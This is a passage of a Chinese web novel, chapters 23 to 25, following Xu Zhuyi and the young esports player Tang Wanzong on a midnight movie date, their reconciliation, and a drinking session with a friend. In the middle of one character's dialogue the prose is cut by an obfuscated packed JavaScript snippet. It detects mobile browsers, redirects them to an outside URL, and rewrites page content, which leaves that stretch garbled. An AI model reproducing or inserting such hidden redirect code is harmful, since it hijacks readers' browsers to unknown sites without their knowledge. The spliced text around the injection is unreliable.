最近天气越来越冷,晚上更是寒风刺骨,汤挽宗想了想还是穿了自己的那套衣服,打算和许逐意多要一件外套穿上,以防那要风度不要温度的人半路着凉,自己能脱外套给他。 这么想着,汤挽宗从房间走出去,看见许逐意的脸刚要开口,话又因紧接着打量到的光景卡在喉咙。 许逐意内搭叠穿得很美观,外面却连着套了两件外套,还围了围巾,整个人看着一下子臃肿起来,两条直直细细的腿从圆筒似的上身下面戳出。 “走吧。”许逐意说着,不给汤挽宗开口的机会,伸手过来推他。 边推还边扒汤挽宗身上那件不厚的外套,嘴里一本正经说着莫名其妙的话:“你穿太多了,等会会热的。” 汤挽宗闭着嘴,默默转头看了眼许逐意身上层层叠叠的外套。 他就这样被许逐意推着出了门,连鸭舌帽和口罩都忘记带。 一下楼,寒风呼啸。 汤挽宗很用力才忍住不把脑袋乌龟一样缩起来。 他又默默看向许逐意,看见那人假装不经意地瞥来瞥去偷看自己好几眼,然后意图特别明显地假装发现他很冷,脱下外套,递到他面前。 “穿、穿吧。”送外套的人自己还不好意思起来,讲话打磕巴,不敢看他。 单元楼下路灯照在许逐意扭开的侧脸上,淡淡的白光托起男人颊上柔软的红晕。许逐意瘦尖的下巴全埋在暗红色的围巾里,围巾遮住他笨拙咬住的嘴巴,细长上挑的眼睛不看过来却勾人心魄。汤挽宗突然就一点脾气也没有了。 因那则好友申请而不快的情绪烟消云散,他一声不吭地接过那件被穿在最外面尺寸最大的外套,套上,敞了敞两边的衣摆,绕到许逐意身后。 “怎么了,还是冷吗?”许逐意目光下意识跟过来,人也转过来,脸上别扭的表情被担心和自责占据,“要不要上楼再穿一件……”很快又微微怔住。 汤挽宗面不改色地将刚刚估算好尺寸的衣摆扯到两边,弓身将许逐意未完的话音裹进怀中,头埋进男人颈间的围巾里。 能闻到一股许逐意身上的很舒服的香气。 “不用上楼,”插在口袋中、搁着外套按住男人后腰的手稍稍用了点力,汤挽宗很轻很轻开口,在许逐意红透的耳边说,“哥哥的围巾很暖和,分我一半就好了。 “可以吗?” 23.午夜场电影 许逐意整个被抱着,心快跳出喉咙口了,半天才找回自己的声音,艰涩地说了句“可以”。 但是会不会不够长。 后半句没来得及出口,汤挽宗就已经放开了他,退一步,弯腰低头,一副准备好让许逐意给他分享围巾的模样。 许逐意就只好动作缓慢地把围巾从脖子上取下来。 “怎么系……”他没有给其他人绑过围巾的经验,边下意识嘟囔,边笨手笨脚地往汤挽宗脖子上缠了一圈,缠得歪歪扭扭很难看,觉得不行又取下来重新调整。 动作反复几次,许逐意指尖也无法避免地几次触碰到汤挽宗脖颈的皮肤,温热的,让他也被传染得热起来,系个围巾系出一身汗。 汤挽宗也不催他,好像根本不在意电影会不会赶不上场,始终将身子保持着一个方便许逐意动作的高度,长长的睫毛垂下来,盯着围巾的许逐意也不知道他是在看自己的手还是脸。 但总之他知道汤挽宗正盯着他的某一处看。 于是本就笨拙的动作更显得手忙脚乱。 总算费劲地替汤挽宗绑好了围巾,许逐意准备将另一头给自己系上,但才绕了一圈他就发现,“真的不够长。” 许逐意有点抱歉地看一眼汤挽宗:“这条给你好了,我上去再拿一条吧。” “够长的。”汤挽宗却莫名很坚持。 说完,不等许逐意反应就往前又走一步,把两人的距离缩到很短,短到面对面只要许逐意低头,额头就能靠到汤挽宗的肩膀。 然后也不给许逐意自己系的机会,他抬手帮忙将围巾的第二圈在许逐意脖子上绕好,流畅地转过身,挽住许逐意垂在身侧的胳膊。 “你看。”小孩脸上不由自主地流露出一点得意的神采。 许逐意脸热起来,“嗯”了一声,把下巴埋进围巾里,没说别的,带汤挽宗走出去。 由于挽着手的缘故,距离非常近,肩膀是始终碰在一起的,甚至上了出租车,汤挽宗也一直跟他挨在一起。 出租车司机是个面相和善的女人,从后视镜里瞥到他俩,扫过表情冷冰冰不看人的那个,又多看两眼一直偷偷盯着冷面男的那个,没忍住“噗嗤”笑了,边开出去边打趣:“感情真好啊,围巾都系一条呢?” 许逐意本就臊着,听了这句更是直接把整张脸都往围巾里埋,不说话,只留一双眼睛在外面,偷瞄汤挽宗的表情。 “我哥怕冷,也怕我冷。”汤挽宗却不怕生,温和笑着回复司机。 “你哥哥真好,”司机也特别捧场,跟汤挽宗有来有回,“这么为你考虑,一定特别爱你吧?” ……爱? 许逐意默不作声地被这个字眼吓一激灵,用略惊恐的眼神扫一眼司机,又迅速藏好情绪看向窗外,脑中瞬间闪过无数碎碎念。 爱?爱吗?他爱汤挽宗吗?喜欢和爱是一样的吗?他明明才感觉到自己喜欢上汤挽宗,应该没办法谈“爱”吧?这个司机真是太夸张了。 “我哥很温柔。”许逐意又听见汤挽宗这样说。 并没有直接接司机的话。 但他又莫名耳根子一热,朝汤挽宗看去一眼。 这一眼正好对上汤挽宗也看过来的视线。 许逐意愣了一下,顿时不知道作何反应,只是呆呆地看着汤挽宗对自己牵唇一笑,而前面的司机已经开始笑盈盈地感叹有兄弟真好。 汤挽宗就随便地应和着她。 要去的电影院并不远,没多久就要到了。许逐意听司机各种赞美兄弟情深,在后排挨着附和她“情深情深”的汤挽宗,简直一整个如坐针毡。 司机一说目的地到了他就光速下车,结果忘记人还跟汤挽宗绑一起,一拉一扯,“啊”地一声,不受控制朝后栽去。 汤挽宗眼疾手快地扶住他肩膀,许逐意撞在人怀里,司机笑着说“哎哟小心点”“你弟弟真大个”,许逐意不敢多听,为了快点离开这个是非之车,干脆抬手抓住围巾,牵狗一样把汤挽宗拎出来。 “哎。”汤挽宗下车顺手关门,但因为许逐意的拉扯和围巾带来的惯性脚下趔趄,往前倒了一步,就着再次抱住许逐意的姿势重新站直。 许逐意电线杆似的不敢动,充当汤挽宗的临时扶手,同时觉得两人绑一条围巾这种行为看电视剧里演演真的就得了,除非脑子不正常想尝试各种摔跤姿势,否则现实生活中千万不要轻易尝试。 但余光看着汤挽宗笨手笨脚从他身上爬起来再站稳,许逐意到嘴边的那句“要不把围巾解开吧”,又莫名地没有说出口。 ……算了,就当自己脑子不正常好了。 他有点自暴自弃地想,等汤挽宗调整完才再次抬脚走出去,带着人走进电影院。 “哥哥。”汤挽宗亦步亦趋跟在他身旁,肩膀磁铁似的又吸过来,脸颊也红扑扑的,不知是下意识还是故意的一把牵住许逐意的手,傻乎乎问,“走慢点,我们是不是要先取票?” 完全把取票这件事忘记的许逐意慢下脚步,临时调整前进角度,表情却淡定,一副本就如此打算的模样点头:“是。” 然后指挥汤挽宗:“把二维码打开,到取票机上扫。” 汤挽宗就表现得好像第一次来电影院似的,跟着许逐意指令做。 许逐意不说话,他就拉着人手乖乖地贴身而立,低头等待。 午夜场的电影院很冷清,虽然路上耽搁了会儿但竟也正好赶上开场。 两人检票入场到找座位,一路上都没遇到什么人,放映厅内位置也几乎空着。 许逐意走进去了才发现汤挽宗买的最后一排情侣座,坐下后中间没有把手的,肩膀不仅不用分开,还很方便牵手——只不过汤挽宗坐下后就把他手松开了,好像刚刚一路只是为了不跟丢才一直拉着的。 被捂得热热的手心一下子空了,许逐意无意识捏了捏,感觉到周围空气在迅速带走手心里汤挽宗留下的体温。 他把两只手都插进口袋,偷看旁边低头在看手机的汤挽宗,凑过去小声提醒:“电影要开始了。” 汤挽宗似乎正在给谁发消息,许逐意开口前还有一个微微扭头的动作,闻言赶紧回过神,点点头“嗯”地应一声。 “我回完消息就把手机放好。”小孩低声跟他打报告,说完迅速在屏幕上点了几下,然后很守承诺地息屏。 平日里许逐意爱看的影视类型大多偏向剧情,因此这次挑选的电影事实上也并不适合暧昧期的人来看。但他没想太多,只觉得电影院氛围应该很适合约会,又正好赶上喜欢的影片上映,片头的黄金龙一闪而过后就下意识全神贯注地投入到荧幕中去。 不过又因为脖子上和汤挽宗连着的围巾,许逐意总是会在感觉到汤挽宗调整姿势的动静而分心,瞥一眼身旁男孩的表情,再重新集中注意,几乎所有精力都放在身边人和电影上了。 因此完全没有发现和汤挽宗隔着一对座位、隔壁包裹严实的两个人在窃窃私语。 “他们不是来约会的吗?”卓宣拉下口罩露出嘴巴,又压了压自己鸭舌帽的帽檐,“刚刚还牵着手进来,怎么现在突然分开了?汤挽宗这小子胆真大, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015520|190590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 居然敢露着全脸出门,也不怕被人拍到了发网上。” “……你是来看电影的还是来看他们的?”杨绵对他很无语,白过去一眼觉得不解气,又伸手推了卓宣一把。 “推我干什么!你碰到我胸了!”卓宣一点就炸毛,险些就要整个人原地弹起,“谁知道来看个电影还能碰上汤挽宗约会啊,这臭小子平时在队里贱馊的居然都能谈上恋爱,我稀奇不行吗?” “你别是嫉妒人家。”杨绵轻飘飘道。他是真的很想认真看电影,也很想把卓宣嘴堵上——这人太吵了。 “我嫉妒——”卓宣猛一噎,强烈否认,“个屁!” 杨绵无语地看他一眼,目光扫过对方颊上急速染满的红晕,觉得口是心非的卓宣很好笑,于是勾了下嘴角,也因此心情不错地暂时顺了卓宣的意,转头看了不远处正不看电影专注偷看身旁男人的汤挽宗一眼,看过那两人耳朵上的红晕和同样青涩的反应表情,幽幽道:“真是……谈没谈上还不一定呢。这俩人看起来都笨得可以。 “汤挽宗天天在我们面前装得一副大尾巴狼,现在看来对他那小哥哥也不是很有办法的样子。估计嘴都没亲上,顶多借着朋友名义牵个手抱一下。而且我猜他现在很不爽,很想走,但又不好意思说。” 简短说完卓宣想从他这里听到的回应,在耳边那句“说得好像你很有经验”说完之前,杨绵头也不回地伸手,把自己身旁不看汤挽宗二人,改盯自己的少年的脸掐住,强制转正面向荧幕,淡淡警告:“安分看电影,再吵我真的把你丢出去。” 电影里这时有白光闪了一下。 许逐意其实发现了汤挽宗似乎没怎么看影片,一直在看自己。他后知后觉地反应过来,朝男孩靠过去低声问:“你是不是不喜欢看这种?” 汤挽宗无声地摇摇头。 “那为什么不看?”许逐意奇怪道,“有话想跟我说吗?” 荧幕上闪过精彩镜头,吸引了许逐意注意,许逐意不看汤挽宗了,赶紧转过去看荧幕,但为了听汤挽宗的回答下意识把身子靠得更近,软软的发丝贴到汤挽宗的肩膀,擦过他脖颈。 好痒。 汤挽宗想躲,但没躲成,因为闻到许逐意身上好闻的味道而眷恋地不舍得躲开,于是靠握住拳头忍下痒意,目光仍旧控制不住地被男人专注的侧脸吸引。 “不说吗?”许逐意还催他,手伸过来碰碰他,唇瓣在昏暗的灯光下一张一合,又因为专注而不自觉地保持着微启,露出整齐好看的一点白牙。 汤挽宗原本因为发现队友就在邻座很烦,想走,想换个没有其他人的地方和许逐意独处,但现在那些话又说不出口。 因为他发现看许逐意看电影也很有趣,会让他重新平静下来,适合打发时间。而且这期间许逐意因为大部分注意力都在电影上,很难注意自己又干了什么实际很暧昧但本人不自觉的举动,那些小动作羽毛似的,一下一下挠汤挽宗的心。 就这么又沉默半晌,汤挽宗看了许逐意半晌。 他以为男人始终很专注,许逐意却这时忽然转过来说:“对不起。” 汤挽宗顿了下,没反应过来,“什么?” 电影里有人要死了,有人在尖叫,周围一下子吵起来。 音效做得兵荒马乱,鼓点带着心跳震动。 汤挽宗愣愣看着原本面对荧幕的许逐意下定决心似的转过头,很不好意思,凑得近近的,对他很小声很小声开口,语气像求饶:“我真的没有想加别人的游戏好友。 “你不要跟我生气了,好不好?” 24.痴心与妄想 直到电影结束,许逐意都没等来汤挽宗的那句“好”。 他鼓起勇气把两人之间一直没明说、汤挽宗也没明显表现的小情绪点破,因为很不擅长处理这种事所以很紧张,头都不敢抬,声音也小,又怕汤挽宗听不清只好忍住害羞凑得很近。 都这样了,汤挽宗好像还是不肯原谅他,在他说完那句话后还捂住脸把头转到了另一边, 电影散场后,汤挽宗拉着他走得很快,一副赶着回家不想再多呆、多看的样子。 许逐意头一次跟汤挽宗的背影跑,还跟得吃力。 “你慢点……”他也不知道自己为什么,对前面那人说着,忽然开始有点不开心。 汤挽宗不知是不是听出来了,脚步慢下来,但没停,依然在走。 直到带着许逐意走出电影院,随便拐到旁边的一条小路里,两人靠着小路旁的树和绿化,站在苟延残喘的路灯下,这才停。 许逐意调整了下呼吸,偷瞄几眼汤挽宗,只见那人依然没有回答自己的意思,拿着手机在低头发消息。 他于是开始有点不想说话,别过头,试图转移自己的注意力,打量起这条小路的模样,以及从小路路口望出去,看到的城市街道与华灯。 余光里汤挽宗发完消息,许逐意就拿出手机,一声不吭准备打车。 但目的地都没输入完,手机就倏地被人抽走了。 许逐意抬眼朝汤挽宗看去。 面对男人显然降温的脸,汤挽宗能感觉到许逐意是不高兴了。毕竟自己又是不理人又是一通快走的。 可他又实在不想在电影院里多说什么,被隔壁座的那两个人听到会很烦,尽管当下得到许逐意突然的道歉时汤挽宗已经心跳快到要飞出胸膛了。 但这些理由没办法和许逐意说,汤挽宗也不知道突然提出离开会不会不好。只能忍到散场。 此时此刻,他略带反省心情地看眼前的男人,绞尽脑汁想办法。 看那双眼睛扫过自己,又盯向他手里刚刚抽过来的手机,很明显的“还给我”的意思。 汤挽宗抿了抿唇,犹豫地伸手,但没交到许逐意手里,而是直接塞进对方外套的口袋。 许逐意抬起手就要把手机重新掏出来。 被汤挽宗半道截住。 他一顿,目光又顺着动作看少年抓在自己腕上的手,依旧无言,等着汤挽宗接收到信号暗示自己放开,余光却忽然一暗。 高大的少年弯下腰,身子挡住大半路灯的光线。 许逐意一下子看不清他的动作,只觉得自己冻得冰凉的两只手心忽然被温热柔软的触感覆盖。 “哥哥,果然是很不容易捂热的体质。”耳边响起汤挽宗低声的喃喃。 许逐意耳根连着脖子都失火,猛地被点着了,烧得厉害。 他一下子变得语无伦次,瞳孔都不知道该聚焦哪里,几次扫过面前的少年,才最后定格向那落入自己掌心的脸颊。 汤挽宗左手抓着他左手手腕,右手按着他右手手背,用不容拒绝的力道将他双手按在自己暖呼呼的脸上。 颊肉被挤得微微鼓起,让少年话音变得有些含糊,也变得柔软,“我没生你气。” 然而说到那个陌生人,语气又很理所应当地冷下来:“就是觉得那种明明技术不怎么样、还喜欢到处加好友求双排的人很无聊而已。” 许逐意抿着唇不知道怎么回答。 他满脑子只剩下“汤挽宗的脸真的好软”这一个想法。 好……好可爱。 心跳得好快。 “哥哥?”走神很快就被发现。 对着那双朝自己直直看过来的眼睛,许逐意避之不及,只好下意识重复汤挽宗的话:“……你没有生气吗?” 没有生气吗。 汤挽宗就这个问题快速回忆了下昨天。 实话来讲,其实是有点的。 但情绪更多是对那个来路不明要加许逐意的陌生人。看见许逐意半夜睡不着一个人爬起来打游戏不叫他,汤挽宗不觉得有什么,偶尔想单排的心情他可以理解。但他发现自己无法接受看见许逐意被邀请去和别人双排这件事。他会嫉妒。 想到许逐意和其他人打游戏时也会问东问西地求教,被救或被帮忙时会温和地道谢,惊慌失色时会流露出很让人想保护的依赖感……哪怕只是微不足道的一点点,汤挽宗都不想要这些被陌生人感受到。 他舍不得对许逐意生气,不想让许逐意看出来自己不开心。 汤挽宗以为自己装得很好了。 许逐意不知道汤挽宗又想到什么,只见少年脸上表情降了温,于是一下忘记周围暧昧的氛围,试探地问:“还是有点不开心吗?” 汤挽宗顿了下,回过神,看上去还没反应过来想好措辞,许逐意就环顾四周,看到不远处开着一家灯光昏黄、还在营业的便民小超市。 他对汤挽宗丢下一句“你在这等我”,而后抽回手,摘掉了脖子上的围巾,大步朝超市跑过去。 汤挽宗赶紧跟上。 最近又在降温,他知道许逐意怕冷,也知道没有围巾的包裹许逐意一定很冷,那人跑出去的时候虽然看起来想装没事,但还是不自觉缩了脖子。 “哥哥……”你要买什么? 小跑到店门口,汤挽宗掀起门帘就看见许逐意站在收银台边,一只手拿着手机在扫码付钱,另一只手手里则拿着两根彩虹色的棒棒糖。 他一下子愣在原地,连后半句要讲的话都忘记。 “你喜欢吃甜的,请你吃糖……心情会好一点吗?”许逐意浑然无觉少年瞬间的失神,抱着有些忐忑的心情走过来,询问汤挽宗的意见,“这种糖喜欢吗?不喜欢的话我再进去买别的。” “……不用买了。”汤挽宗垂下眼接过那两根糖,话音出口不自觉地带了点哑。 他拆开其中一根的包装,把糖塞进嘴里。 见汤挽宗接受了糖果,许逐意松口气,不由得又多说两句:“我不太吃甜,所以不知道你们小孩的口味会喜欢什么……很多年前碰到过一个小男孩,缠着我给他买过这种糖,看他吃得还挺津津有味,所以才猜你有没有可能也会喜欢这个。” 许逐意说罢,看汤挽宗低头吮糖的侧脸,把人带着往外走,拉着汤挽宗的手腕,轻声哄:“开心一点好不好?” 低着头的人闷闷挤出一声“嗯”。 简短的“嗯”没办法让许逐意安心地判断汤挽宗心情已经转好,他想看清汤挽宗的表情,想了想还是弯腰凑过去,借身后小店投出来的光去打量面前少年的脸。 却又在看清后顿住,无措地开口:“你很冷吗?” 他隔空指了一下汤挽宗的鼻子:“鼻子红红的。” 两人突然间拉近的距离让汤挽宗不由自主地往后退。 他想背过身调整情绪,可许逐意不依不饶追过来,语气还因为接下来的发现带上一些讶异:“眼睛怎么也……” 然后好像想到什么,沉默了两秒,变得自责,开始反省自己:“我刚刚是不是,不该反问你?” 许逐意以为汤挽宗只是有点不开心,没想到汤挽宗会这么不开心。 他恍然想起在地铁站口被撞见祝扬当面约双排的那天,汤挽宗后来也是眼睛鼻子红红——那天他真以为是冷风吹的。 许逐意一下变得手忙脚乱,不知所措,他抬手,想替男孩擦一擦眼尾的潮湿。< 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他不尊重队内纪律、不够成熟、让人操心,谎话连篇还不知羞愧,贪得无厌不懂知足。 明明有地可去却故意赖在陌生的家里,知道许逐意不感兴趣LPL却仍然一次次提起,失败了就气馁不够坚强,被称作天才却没能成为队伍的中流砥柱,对队友的态度也不够体贴,还总是给身边的人添麻烦…… 这么多这么多不完美,他却还渴求喜欢的心情能得到回应。 “汤挽宗……”耳边传来模糊的话音。 汤挽宗回过神,才发现一串泪不知何时从眼眶蓄满后滚落,掉在许逐意的围巾里、许逐意的手背上。 不久前才捂热的手已经又有了凉意,许逐意怕冰到他似的,从外套里面扯出针织衫的衣袖,裹住手掌只露指尖,轻轻捧住汤挽宗的脸。 许逐意没有读心术,不知道汤挽宗心里在想什么,还以为是自己的问题,内疚又温柔地哄:“哥哥错了,跟你道歉,不哭好不好? “你有什么不开心可以说出来,觉得我做得不好也可以批评我,不要不说话,不要背着我哭,那我也会很难过的。” “……为什么?”汤挽宗从喉咙里艰难挤出沙哑的一句。 “因为,”许逐意却因为他这句反问忽然涨红了脸,眼神左右飘忽了一下,很小声嘟囔了句“这要我怎么说”,然后只是重复地强调,“因为你难过我也会难过,就是这样。” 说喜欢什么的,太早了吧?这种时候表白会被拒绝的吧? 毕竟他才惹汤挽宗不开心,还在把人哄好的路上呢。 许逐意讲完觉得自己讲了一句废话,但又嘴笨地不知道怎么补充,嗫嚅半天,汤挽宗却不知怎么放过他了,说了句:“我知道了,哥哥。” 然后很乖地真的不哭了,把许逐意捧着的手牵住,低头也脸红红地看他,轻轻道:“回去吗?” “回。”许逐意说,不敢相信地又凑过来试探,“心情好点了吗?” “好了。”汤挽宗点头,然后很自然地把和许逐意牵着的手偷偷揣进口袋,小声说,“心情早就好多了。” 许逐意顿了下,别过脸:“……那就好。” 汤挽宗假装没看见他满是绯红的耳廓,稍稍收紧口袋中手的力气,笑笑。 残月当空,寒风刮过小巷,路灯下的两个人影不自觉更靠近,高一些的抬起空着的那只手,又分出脖子上一半的围巾,另一个人哆嗦着接过,靠近、裹紧。 汤挽宗现在的人生里,确实充满了不切实际的痴心与妄想。 许逐意是唯一的回应。 25.不是真的 许逐意是被郑子蓓突然打来的电话吵醒的。 他刚一接起,郑子蓓的声音就从那边咋咋呼呼传来:“许逐意快起床!出事了!!” 也不说是什么事,搞得许逐意只能一头雾水地掀开被子,听电话里的郑子蓓一个劲让他出卧室门看看。 他有点无奈地走出去。 推开门就看见客厅一片狼藉,所有东西都凌乱地散落在四处,大门开着,穿堂风呼啸而过,撞开客卧那扇门,里面空无一人。 许逐意愣住,把郑子蓓电话挂了,跑进去看—— 什么东西也没有。就连床褥都空了,像是根本没有人来住过一样。 他尝试开口叫了一声:“汤挽宗?” 没有回应。 许逐意又叫,汤挽宗、汤挽宗,脸上维持着面具一样冷静的表情,脚下步频飞快地推开房子里的每一扇门,走过每一个角落。 呼吸越来越急促,甚至伴随一种窒息感,但始终没有得到一声回应,汤挽宗就是不见了。 不打一声招呼地走了。 “——” 许逐意倒吸一口气,睁开眼,看见阳光从没拉好的窗帘缝挤进来。 他侧卧在床上。 手机掉在手边,应该是昨晚一不小心玩睡着了。 昨夜看完电影再到家,时间已经不早,两人也都很累了。许逐意确认过汤挽宗确实没再不开心,于是互道晚安睡觉,他钻回被窝又研究追人技巧,搜各种“喜欢的人主动牵我手还揣兜里是什么意思”,看帖子看着看着就睡着了。 掀开被子坐起来,许逐意几乎没有犹豫地下床,开门出去直奔书房和客卧。 书房里没人,客卧门紧闭着,他抬起手犹豫了一下还是没有直接打开,而是敲了敲。 等待几秒,里面传来脚步声,紧接着门打开,汤挽宗顶着一头睡乱的炸毛和惺忪睁不开的双眼出现在门后面。 “怎么了哥哥?”男孩疑惑地哑声问。 末了还越过许逐意看一眼不远处客厅的挂钟,上面显示才早上十点。 是梦。不是真的。 许逐意反应过来,后退了一步,才开始慌慌张张地找借口:“没事。” 他说:“我……睡醒了没事干,看看你醒了没。” 汤挽宗揉揉眼睛,一副试图让自己强制开机的样子:“双排吗?” “不了,”许逐意心虚道,“你再睡会儿吧,不用在意我。” 但汤挽宗说:“没事,醒都醒了。” 他转身去推浴室门,许逐意看着他拿起牙刷,话音从浴室里面传出来,还有回音:“哥哥着急可以先去把电脑开起来。或者等我一起也没事。” “……”话都说到这份上,许逐意只好点头,“好。” 他转身去书房开电脑,又赶紧钻回自己房间洗漱。 其实许逐意还想问汤挽宗母亲是不是回来了,问汤挽宗什么时候要回家。可又问不出口。 他觉得他现在不想知道那个答案。 洗漱完准备回书房,经过客厅的时候,敲门声却忽然响了。 许逐意脚步一顿,走过去从猫眼往外看,看到一张郑子蓓的脸。 他停顿两秒,才开门把人放进来。 “你来干什么?”做的梦还没忘干净,许逐意有些警惕地挡在门口。 “什么干什么?”郑子蓓抱了两瓶洋酒,抻起脖子往里面望,“干嘛不让我进去,弟弟在里面吗?打个招呼呗。” 许逐意原本想继续拦着,毕竟这走向和梦太重叠了让他莫名感觉不安。但汤挽宗毕竟不知道他做的梦,不等他开口,身后就传来礼貌打招呼的声音,一句很简单的“你好”。 得了回应的郑子蓓马上踮脚,很高兴地回:“弟弟你也好啊。” 这两人这样也能打上照面,被夹在中间的许逐意叹口气,无奈多打量郑子蓓几眼,从印象里找到几个选项,语气淡淡地挨个问:“又被你爸骂了还是失恋了?还是又老一岁很伤心?” 此话一出,郑子蓓嘴巴瞬间撇成一个倒U,抱着酒瓶就要扑到许逐意身上:“啊啊啊你别提了呜呜呜呜这次不仅给项目捅了个篓子还失恋,明天生日又要老一岁,许逐意我真的要崩溃了——” 许逐意不动声色侧身躲开,郑子蓓扑了个空,脚却在玄关处绊到,抱着酒瓶不由自主往前踉跄,直接把路过的汤挽宗撞个正着。 还大叫一声:“哎哟!” 汤挽宗将将稳住身子,郑子蓓则摔在地上滚了一圈,爬起来后第一件事是检查酒瓶子摔没摔坏,然后自来熟地拉着汤挽宗就往餐桌走,“来吧来吧,一起陪我喝点。” 许逐意看他那夸张的样子,关好家门后上前去将郑子蓓拉汤挽宗的手抓开,顺两下被抓得懵逼的汤挽宗的毛,“你别是自己在家喝过又跑过来的。” 嘴上这么说着,但还是替郑子蓓拉开了椅子。 郑子蓓从善如流坐下,先故作惊讶地说“哇你怎么知道”,又速速抱着酒瓶在桌面趴下,“点点下酒菜吧,许逐意,我想吃萨拉咪。” 说完也不给许逐意回话的机会,直起身子开始倒酒,三人面前一人一杯,“弟弟成年了,对吧?” 许逐意面无表情地伸手挡住郑子蓓要往汤挽宗面前凑的脸,凉凉道了句:“谁是你弟弟。”又看向汤挽宗,沉声问,“能喝吗?” 汤挽宗抬头看他,抿着唇点了点头。 既然本人都这样表示,许逐意也不好再说什么。 他叹口气,想了想还是拉开汤挽宗旁边的椅子坐下,拿出手机点外卖,点了郑子蓓要的萨拉咪和一些主食。 放下手机看见郑子蓓已经给他们三人都斟好了酒。 见许逐意也准备好,郑子蓓端起酒杯,提一口气要说话。嘴巴刚张开声音还没出,那总板着脸的家伙就冷不丁地警告:“发酒疯我就直接把你丢出去。” 又对旁边一脸单纯拿着酒杯的汤挽宗说:“不能喝的话少喝一点。” 两人相识这么多年,郑子蓓喝醉了什么鬼样许逐意再清楚不过,这种崩溃发癫直接抱着酒瓶找上门的情况也不是第一次了。郑子蓓又菜又爱喝,喝嗨了还会发疯,每次许逐意都无奈地把他丢沙发上不管,独自打扫残局,睡一觉醒来郑子蓓依然还在沙发上,怀里抱的靠枕上全是鼻涕泪渍只能扔掉……诸如此类。 “好嘛好嘛。”郑子蓓瘪瘪嘴说,因为知道自己德性,倒也顺着许逐意的意思,“我尽量控制自己,好吧?”说着转向汤挽宗,“弟……你能喝多少喝多少吧,自己掂量着点,别喝大了,要不一会儿许逐意偷偷把我俩一起扔出去都不知道。” 汤挽宗不知道他们为什么一个两个都把他当不能喝的小孩。 等郑子蓓说完,旁边许逐意别着脸抿一小口杯中酒。他也端起酒杯,用很冷静应该也很成熟沉稳的语气说:“我能喝的。” 说完就也端起来抿一口,结果被酒的味道恶心得控制不住表情,皱起整张脸。 “哈哈哈哈,很难喝吗?”郑子蓓顿时被逗得大笑。 汤挽宗:“……”他脸迅速热了,从没热这么快过。下意识去看许逐意的表情,转头就见男人一只手撑着下巴,也看着他,脸上有了一点表情——嘴角眉梢都噙一抹浅浅的笑。 许逐意身上穿的还是冰丝睡衣,光滑轻软的面料裹着他消瘦的身躯,从单薄的肩膀垂下来,撑脸的那只胳膊露出半截白皙的小臂。 汤挽宗收回目光,低头闷闷盯着酒杯。 他想起昨晚发生过的种种,还有许逐意脸红的反应。 郑子蓓还在笑,余光中许逐意则忽然起身。 过一会儿汤挽宗就看见自己余光里多出杯牛奶,男人细长的手指将其推到自己手边,但不看他,一心二用地淡淡问起郑子蓓的情况:“你爸这次怎么说你的?” 终于切入主题,上一秒还在笑的郑子蓓下一秒就苦起一张脸,“唉”地叹一大口气,开始哭诉他爸对他严厉的种种。 因为来之前就自己喝了点,郑子蓓的情绪始终都处于一个比平时高涨的状态,说着说着还跑到许逐意旁边来坐下,叫许逐意不得不分出更多精力和注意力给他。 也就没人发现旁边某个沉默的少年盯酒杯盯很久,而后用一副视死如归的表情拿起酒杯一饮而尽,喝完恶心得想吐,憋出一圈泪花,但是咬着牙一声不吭给自己又倒上一杯。 这边许逐意用往常的套路,边聊边把郑子蓓灌个差不多,招呼人到沙发上去睡觉。 他自己也喝得有些微醺了,站起来的时候头是晕的,将好友在沙发上放下,回头去看,看见汤挽宗趴在桌上,脑袋埋在折起来的臂弯里。 面前的酒杯已经空了,瓶中的酒少去三分之一,牛奶则完好无损。 许逐意: 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许逐意注意力一下被拉走,伸手去轻轻晃晃汤挽宗的肩膀。他把莫名其妙的陌生电话挂断了,弯下腰低声问汤挽宗:“你还好吗?” 汤挽宗好像才转醒,皱皱眉睁开眼,朦胧地看着许逐意,说不出话。 “我带你去房间,好不好?”许逐意知道这种酒喝醉了很难受,汤挽宗现在头应该会很痛,所以继续放低声音温柔地问,看见汤挽宗迟钝地点点头后动手去抱少年的肩。 喝醉的人总是很沉,许逐意非常吃力才把汤挽宗整个托在自己肩背上,大只的家伙压着他,他被几乎整个圈在怀里,一时间步子都迈不出去。 “呜……”耳边又传来汤挽宗难受的声音,还有一句沙哑的“对不起”。 “道歉干什么?”许逐意边问边尝试迈出一步。 不该不自量力喝这么多酒的,大脑都没法运转了,汤挽宗浑浑噩噩地很后悔,嗓子都后悔地发酸,慢慢解释道:“给哥哥,添麻烦了。” 说完还喘一大口气。 他靠在许逐意身上,感受到男人单薄的肩膀抵在胸口的触感。汤挽宗感觉整个世界都是晕的、模糊的。太狼狈了,他以为自己不会醉这么快,让许逐意讨厌了怎么办。 仅存的意识让汤挽宗想保持自己最后的风度和尊严,进房间后就对许逐意说“我没事”,然后扶住墙壁,试图从人身上起来。 但许逐意知道汤挽宗根本不是没事,他也不是第一次见醉汉,平时郑子蓓喝醉的时候海了去,也知道汤挽宗不是故意喝醉,只是小孩子没怎么喝过酒,酒量不好。 他说“没事”,提醒汤挽宗“不要乱动”,“我扶你到床上,你……”睡一觉能舒服一点。 后半句话没来得及说完,因为汤挽宗不知怎么往后退了一步。而他抓得很紧,就随着汤挽宗那步跟着后退,结果不小心踩到人脚,吓得下意识拉开距离—— “啊!”许逐意惊叫,紧接着就是“砰”一声,他吃痛,捂着脑袋从汤挽宗身上爬起来,赶紧关心,“对不起,你没事吧?有没有摔到哪里?” 男人坐在他身侧,汤挽宗仰面倒在地上。抬头是房间里白炽灯与窗外进来的光线,他恍然,转头看见许逐意慌张的脸。 手也被许逐意抓着,汤挽宗想说没事,但看进那双眼睛里又有些失语。许逐意大概是见他不说话所以躬身凑近了些,轻轻叫他名字:“汤挽宗?” 汤挽宗动了一下被许逐意抓着的那只手的手指。 